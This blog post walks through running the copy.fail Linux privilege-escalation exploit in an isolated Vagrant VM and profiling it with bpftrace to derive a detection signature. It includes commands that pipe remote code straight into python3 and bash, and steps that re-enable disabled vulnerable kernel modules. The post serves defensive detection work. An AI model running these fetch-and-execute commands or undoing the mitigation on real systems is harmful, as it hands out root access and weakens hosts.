Exploring the copy.fail Vulnerability with eBPF

Sep 3, 2026 by Zacharia Mansouri | 39 views

Linux eBPF Malware

https://cylab.be/blog/521/exploring-the-copyfail-vulnerability-with-ebpf

When analyzing Linux kernel exploits, observing malware behavior in a controlled environment is the best way to build robust detection. The copy.fail vulnerability is a great case study in how attackers can abuse specific kernel mechanisms and sockets to escalate privileges. In this post, we’ll walk through setting up a safe, isolated environment using Vagrant, running the exploit and using eBPF (bpftrace) to track what it does under the hood. By the end, we’ll have pinpointed the anomalous system behaviors, like dropping into a root shell with mismatched user and group IDs, that make catching this exploit possible.

copy-fail-exploration-with-ebpf.jpeg

VM Vagrant Config

In order to safely explore this vulnerability, we need an isolated, reproducible environment. We use Vagrant to quickly set up a VM. This blogpost assumes that you already know how to use Vagrant. Here is the Vagrant configuration you’ll need:

Vagrant.configure("2") do |config|
  config.vm.box = "ubuntu/jammy64"

  config.vm.provider :virtualbox do |v|
    v.gui = false
    v.memory = 2048
  end

  # Currently "ubuntu/jammy64" on VirtualBox requires `type: "virtualbox"`
  # to make synced folder works.
  config.vm.synced_folder ".", "/vagrant", type: "virtualbox"
  
  # Update repositories
  config.vm.provision :shell, inline: "sudo apt update -y"

  # Upgrade installed packages
  config.vm.provision :shell, inline: "sudo apt upgrade -y"

end

Save the code above into a Vagrantfile. Once saved, you can build, boot and securely access the VM using just two commands:

# Builds the VM, applies updates and starts it up
vagrant up

# Drops you into a secure shell session inside the VM
vagrant ssh

Enabling the Vulnerable Module

Next, we enable the vulnerable module inside the VM since the ubuntu/jammy64 has been (hopefully) patched already:

sudo sed -i '/^install/ s/^/# /' /etc/modprobe.d/disable-algif_aead.conf
sudo depmod -a
sudo modprobe algif_aead
sudo modprobe algif_skcipher
sudo modprobe algif_hash

You can check if the mitigation has been successfully removed with the following command from this Github comment:

curl "https://raw.githubusercontent.com/ochebotar/copy-fail-CVE-2026-31431-detection-probe/refs/heads/main/cve-2026-31431-check.sh" | bash

To allow us to instantly revert to a clean state if something goes wrong without having to rebuild the entire VM from scratch, open a new terminal window on your host machine (outside the VM) where the Vagrantfile lies and save your current state:

vagrant snapshot push

Running copy.fail

With our environment ready, we can trigger the vulnerability by running the copy.fail exploit:

curl https://copy.fail/exp | python3 && su
id

Output:

uid=0(root) gid=1000(vagrant) groups=1000(vagrant)

Notice the output: we successfully gained root access (uid=0), but our group ID remains gid=1000(vagrant). This mismatched state is a clear anomaly. In a standard root session, both the UID and GID should be 0(root). This highly unusual behavior could give us an excellent starting point for building a detection rule.

Tracing with bpftrace

Now that we’ve confirmed the exploit works, we should revert our VM back to a clean state before we start tracing it. From your host machine, restore the snapshot we took earlier:

vagrant snapshot restore

To monitor this anomalous behavior in real-time, we’ll use bpftrace. First, make sure it is installed on your VM:

sudo apt install bpftrace -y

Next, we create a simple eBPF bpftrace program (exec-uid-gid.bt) that logs the UID and GID for every program executed on the system:

tracepoint:sched:sched_process_exec
{
    printf("EXEC: %s (%s)\n", comm, str(args->filename));
    printf("  UID=%d GID=%d\n", uid, gid);
}

Start the tracing script:

sudo bpftrace exec-uid-gid.bt

While the trace is running, we execute the malware in a separate terminal inside the same VM. Looking back at our bpftrace output, we capture exactly what happens under the hood:

Attaching 1 probe...
EXEC: curl (/usr/bin/curl)
  UID=1000 GID=1000
EXEC: python3 (/usr/bin/python3)
  UID=1000 GID=1000
EXEC: sh (/bin/sh)
  UID=1000 GID=1000
EXEC: su (/usr/bin/su)
  UID=1000 GID=1000
EXEC: sh (/bin/sh)
  UID=0 GID=1000
EXEC: su (/usr/bin/su)
  UID=1000 GID=1000
EXEC: sh (/bin/sh)
  UID=0 GID=1000

Here we can clearly see the exact moment the exploit drops into a shell (sh) using the mismatched UID=0 and GID=1000.

Note: I initially considered using a Linux Security Module (LSM) hook for this detection, but I encountered an Invalid probe type: lsm error on both my VM and host. Using a standard kernel tracepoint works perfectly as an alternative here.

Detecting Module Loads

Next, let’s look for the exploit’s reliance on the algif_aead kernel module. We can trace kernel module load requests by creating another bpftrace script (module-load.bt):

kprobe:security_kernel_module_request
{
    printf("Module load request: %s pid=%d comm=%s\n", str(arg0), pid, comm);
}

Start the trace:

sudo bpftrace module-load.bt

After triggering the malware again in our other terminal, we see the following requests:

Attaching 1 probe...
Module load request: crypto-authencesn(hmac(sha256),cbc(aes)) pid=19201 comm=python3
Module load request: crypto-authencesn(hmac(sha256),cbc(aes))-all pid=19201 comm=python3
Module load request: crypto-authencesn pid=19206 comm=cryptomgr_probe
Module load request: crypto-hmac(sha256) pid=19206 comm=cryptomgr_probe
Module load request: crypto-hmac(sha256)-all pid=19206 comm=cryptomgr_probe
Module load request: crypto-cryptd(__cbc-aes-aesni) pid=19201 comm=python3
Module load request: crypto-cryptd(__cbc-aes-aesni)-all pid=19201 comm=python3

When we combine these observations, a clear detection signature emerges. The behavior of loading these specific crypto modules, immediately followed by an attempt to execute a shell (sh) with uid=0 and a non-zero gid, is highly abnormal. This specific sequence of events serves as a strong signal that should be blocked.

Additional Tracing Examples: AF_ALG Sockets

Before we wrap up, here are a few more examples of related behaviors you can trace to further profile this exploit. First, the malware attempts to open an AF_ALG socket to access the kernel’s built-in cryptographic framework. We can monitor this activity with a short script (af-alg-sockets.bt):

tracepoint:syscalls:sys_enter_socket
/ args->family == 38 /   // 38 == AF_ALG
{
    printf("AF_ALG socket: pid=%d comm=%s type=%d proto=%d\n",
           pid, comm, args->type, args->protocol);
}

Additionally, AF_ALG AEAD is typically interacted with via a bind() call using a sockaddr_alg structure where the salg_type is set to “aead”. We can catch this with another script (sys-enter-bind.bt):

tracepoint:syscalls:sys_enter_bind
/ args->addrlen >= 24 /
{
    printf("bind() pid=%d comm=%s fd=%d addrlen=%d\n",
           pid, comm, args->fd, args->addrlen);
}

Conclusion

Doing a post-mortem analysis like this is a great exercise. Even though this is a known exploit, pairing a quick Vagrant box with eBPF turns copy.fail from a black box into something you can dissect in real time. We went from knowing someone popped root to actually catching the exact breadcrumb trail: unusual crypto modules loading up, followed immediately by a root shell dropping with a totally mismatched GID. Once you can spot that weird behavioral fingerprint, writing a solid detection rule gets a lot easier.

This blog post is licensed under CC BY-SA 4.0 creative commons attribution share-alike

This website uses cookies. More information about the use of cookies is available in the cookies policy.
Accept